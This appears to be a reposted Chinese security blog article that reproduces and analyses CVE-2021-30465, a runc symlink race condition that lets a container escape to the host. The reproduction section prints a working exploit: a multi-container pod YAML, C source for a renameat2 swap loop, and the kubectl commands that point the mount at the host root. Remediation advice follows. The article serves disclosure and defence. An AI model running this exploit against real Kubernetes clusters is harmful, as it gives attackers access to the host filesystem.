CVE-2021-30465——runc竞争条件漏洞复现与分析

  • A+
所属分类:安全文章

0x01 漏洞简介

近日国外安全研究员发布了可导致容器逃逸的runc漏洞 POC,该漏洞影响runc 1.0.0-rc94以及之前的版本,对应CVE编号:CVE-2021-30465。

runc 是一个CLI工具,用于根据OCI规范生成和运行容器,该工具被广泛的应用于各种虚拟化环境中,如Kubernets。
该漏洞是由于挂载卷时,runc 不信任目标参数,并将使用 “filepath-securejoin” 库来解析任何符号链接并确保解析的目标在容器根目录中,但是如果用符号链接替换检查的目标文件时,可以将主机文件挂载到容器中。黑客可利用该漏洞能将宿主机目录挂载到容器中,来实现容器逃逸。
0x02 预备知识
在容器层面挂载卷和挂载目录是不一样的。

挂载目录,对容器来说,只是简单把目录与容器的目录做映射绑定,而目录的权限还是在主机,需要用户自制维护,手动处理权限等问题。

卷 (Volume) 是受控存储,挂载卷后是由容器引擎进行管理维护的,也就是把对应卷的所有权交给了容器引擎(本次漏洞的核心点)。

而卷下面的所有操作就包含对存储、目录、软链接等等一系列。

而CVE-2021-30465漏洞就是由于runc没有处理好卷下面的资源竞争的问题而导致的。

0x03 漏洞描述

首先我们需要定义卷A ,其次a容器挂载了卷A,同时也挂载了卷A下面的目录。

当a容器起来后,恶意程序疯狂的在挂载的目录下刷新软连接与目录的关系。与此同时b容器也像a容器一样挂载了相同中的卷和对应卷下面的目录。

因为卷所有权这个时候是在引擎内,并且a容器相同卷下的目录还在刷新软连接(相同于创建软连接)这个时间在容器引擎内部就会存在资源竞争。

一个萝卜一个坑,而2个萝卜占一坑时,就成了薛定谔的萝卜,不能确定到底是谁占了这个坑(TOCTTOU漏洞)。这也就是官方在漏洞里面的解释不是一定能把漏洞命中的原因。

0x04 漏洞影响

CVE-2021-30465容器逃逸漏洞主要影响以下版本:

runc 1.0.0-rc94以及之前的版本,建议更新到1.0-rc95以上版本

补丁或安全更新版本官方下载地址:

https://github.com/opencontainers/runc/releases

0x05 漏洞复现

本次漏洞因为存在一定的机率问题,使用docker等单个容器管理很难看到效果。故使用K8S的POD能力,对多个容器进行实验。

runc版本:runc version 1.0.0-rc93

K8S版本:v1.15.5

Docker 版本:Docker version 18.06.3-ce

a. 定义好卷,和恶意容器(包含恶意刷软连接的程序)

b. 在POD中定义多容器挂载和恶意容器相同中的卷,并同时在启动的时挂载卷下面的目录在容器中

c. 批量查看POD中的容器挂载的目录内容。如果出现主机端的根目录下的内容,说明漏洞利用成功,容器可以在该挂载的目录下随意的访问到主机根目录的内容。

步骤一:创建攻击pod

# kubectl create -f - <<EOFapiVersion: v1kind: Podmetadata:    name: attackspec:    terminationGracePeriodSeconds: 1    containers:    - name: c1      image: ubuntu:latest      command: [ "/bin/sleep", "inf" ]      env:      - name: MY_POD_UID        valueFrom:          fieldRef:            fieldPath: metadata.uid       volumeMounts:        - name: test1          mountPath: /test1        - name: test2          mountPath: /test2$(for c in {2..20}; docat <<EOC    - name: c$c      image: donotexists.com/do/not:exist      command: [ "/bin/sleep", "inf" ]      volumeMounts: #容器内挂载点        - name: test1 #宿主机目录名          mountPath: /test1 #容器内目录名        - name: test2          mountPath: /test1/mnt1        - name: test2          mountPath: /test1/mnt2        - name: test2          mountPath: /test1/mnt3        - name: test2          mountPath: /test1/mnt4        - name: test2          mountPath: /test1/zzzEOCdone)    volumes:      - name: test1 #宿主机目录名        emptyDir: #宿主机挂载点          medium: "Memory"      - name: test2        emptyDir:          medium: "Memory"EOF

其中c1为攻击容器挂载主机上的目录卷到容器。

其中c2~c20的容器挂载相同的目录卷和对应的目录的子目录。

步骤二:编译恶意程序
#define _GNU_SOURCE
#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <sys/types.h>#include <sys/stat.h>#include <unistd.h>#include <sys/syscall.h>
#ifndef RENAME_EXCHANGE#define RENAME_EXCHANGE (1 << 1) #endif
int main(int argc, char *argv[]) { if (argc != 4) { fprintf(stderr, "Usage: %s name1 name2 linkdestn", argv[0]); exit(EXIT_FAILURE); } char *name1 = argv[1], *name2 = argv[2], *linkdest = argv[3];
int dirfd = open(".", O_DIRECTORY|O_CLOEXEC); if (dirfd < 0) exit(EXIT_FAILURE);
if (mkdir(name1, 0755) < 0) perror("mkdir failed"); if (symlink(linkdest, name2) < 0) perror("symlink failed");
while (1) syscall(SYS_renameat2, dirfd, name1, dirfd, name2, RENAME_EXCHANGE);}
步骤三:执行恶意程序

编译出对应的程序,并放到c1容器内:

kubectl cp cve-2021-30465-poc -c c1 attack:/test1/

把恶意程序放到以c1容器当后,进到c1容器内:

kubectl exec -ti pod/attack -c c1 – bash
在c1容器内创建以下符号链接:
ln -s / /test2/test2

进到/test1目录下,执行:

seq 1 4 | xargs -n1 -P4 -I{} ./ cve-2021-30465-poc mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
更新合法镜像,这里将容器c2-c20的镜像更新为合法的镜像,容器c2-c20会开始一个一个被成功创建。在主机节点新开一个远程终端,然后执行以下命令:
for c in {2..20}; do  kubectl set image pod attack c$c=ubuntu:latestdone
看看漏洞利用结果,如果漏洞利用成功,容器内的/test1/zzz目录会逃逸到宿主机内。执行如下命令查看是利用成功:
for c in {2..20}; do  echo ~~ Container c$c ~~  kubectl exec -ti pod/attack -c c$c -- ls /test1/zzzdone

利用成功如图,会打印/test1/zzz目录下的内容,是否为根目录:

CVE-2021-30465——runc竞争条件漏洞复现与分析


0x06 漏洞分析
runc 使用“filepath-securejoin库中的SecureJoinVFS函数来解析传进来的路径是否合法。runc 在调用 SecureJoinVFS 函数解析之后会将源目录挂载到校验通过的目标目录中。

但是如果在调用 SecureJoinVFS 函数解析合法之后,立马用符号链接替换检查的目标文件时,通过精心构造符号链接可以将主机文件目录挂载到容器中。

因为是利用竞争条件来进行利用的,有很大概率失败的。本次漏洞利用的过程,只有11号容器命中该漏洞,成功访问到主机根目录。

该漏洞相对来说比较鸡肋,漏洞利用场景不多。需要结合类似k8s这种对容器进行编排的工具才能进行利用。漏洞利用需要多个容器挂载同一个文件卷,现在有的利用方式就是攻击者能控制用户使用攻击者构造的恶意 yaml 文件来生成pod,这样才有机会进行漏洞利用并逃逸到宿主机。

0x07 漏洞修复

本次漏洞的细节和利用代码已经完全公开,虽然漏洞的利用存在一定的机率,但只要有一次,伤害就是100%。

1、 升级runc至官网给出的最新版本

2、 使用经审核和受信的容器镜像

3、 使用Red Hat官方提供的漏洞检测脚本,自检。

https://access.redhat.com/sites/default/files/cve-2021-30465--2021-05-19-0759.sh


0x08 参考链接

https://blog.champtar.fr/runc-symlink-CVE-2021-30465/

https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f

END

关于鲲鹏安全实验室




鲲鹏安全实验室专注于容器安全和业务灰黑产对抗的研究,收集和挖掘容器相关技术的安全漏洞,采集业务灰黑产情报,研究对抗手段。并将研究成功转换为产品和服务。








内容编辑:鲲鹏安全实验室 鬼画符  责任编辑:剁肉工

CVE-2021-30465——runc竞争条件漏洞复现与分析


本文始发于微信公众号(爱国小白帽):CVE-2021-30465——runc竞争条件漏洞复现与分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: